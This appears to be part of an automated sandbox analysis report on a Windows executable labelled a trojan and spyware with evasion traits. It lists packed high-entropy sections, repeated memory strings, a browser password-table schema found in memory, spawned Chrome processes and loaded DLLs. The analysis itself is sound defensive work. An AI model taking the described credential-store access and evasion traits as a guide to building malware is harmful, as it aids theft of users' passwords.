Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0601C1E9	0_2_0601C1E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060439EF	0_2_060439EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0604A9E8	0_2_0604A9E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060099F4	0_2_060099F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0603C9F6	0_2_0603C9F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060279F5	0_2_060279F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_060431FA	0_2_060431FA

Source: file.exe, 00000000.00000003.2345168178.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348651817.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340616714.0000000005B31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357980727.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351926333.0000000005BB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343030922.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342905516.0000000005B57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357354656.0000000005BF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345042212.0000000005B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350010230.0000000005CB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346058711.0000000005B8B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351095535.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342788667.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343939350.0000000005C29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395160379.000000000573F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353025574.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349790606.0000000005BA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342304384.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357177669.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345940781.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343255930.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2476078391.00000000055FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2340072322.00000000058FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350739433.0000000005BB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347872754.0000000005BAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346523467.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343708178.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336936217.000000000573F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341704763.0000000005B42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349594203.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352322477.0000000005A96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346809608.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341543528.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351394875.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354244134.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353220528.0000000005BD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352833776.0000000005CFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395223981.0000000005659000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342214592.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343138231.0000000005B5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395932211.00000000055F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2356159260.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347744235.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342426250.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357781179.0000000005BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340208415.0000000005A99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396213544.00000000055FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.2347495304.0000000005B88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348252191.0000000005BA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344242844.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350359928.0000000005BBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350914734.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352556872.0000000005BC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341362207.0000000005BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355495563.0000000005D1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2499501426.0000000005D45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346360610.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346626595.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339518657.00000000057E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2340903687.0000000005BC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345347723.0000000005B7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345543180.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347333400.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351255173.0000000005BC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341269201.0000000005B35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343363760.0000000005B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348811378.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344647368.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342003729.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344347842.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342106081.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339905181.0000000005AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343477452.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347182715.0000000005C8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341181058.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345657360.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353656522.0000000005BDF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344476259.0000000005B73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343824196.0000000005B58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353947277.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341804631.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2345807255.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344035494.0000000005A93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349120233.0000000005A94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341084984.0000000005B36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357520764.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356964581.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346211009.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2347622433.0000000005C8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348402321.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358171431.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349291213.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348104362.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351580012.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341002518.0000000005A98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2341907155.0000000005B44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352154201.0000000005CF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2343590358.0000000005B61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2339729796.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342567875.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2499864252.0000000005FF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353400363.0000000005A97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350195070.0000000005A9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350568914.0000000005A9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2336936217.00000000057E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2342674175.0000000005C0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349457354.0000000005CBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2344136663.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2348964865.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2346985066.0000000005B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981704905063291
Source: file.exe	Static PE information: Section: jeitlowb ZLIB complexity 0.9944993742472147

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@25/66@9/8

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2212508834.000000000561C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195632569.000000000560A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195239665.0000000005628000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212606568.0000000005612000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 43%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,5243505765235826188,13817125492729943271,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1972,i,4578631636205666095,15362011055060956025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=2032,i,5243505765235826188,13817125492729943271,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1972,i,4578631636205666095,15362011055060956025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
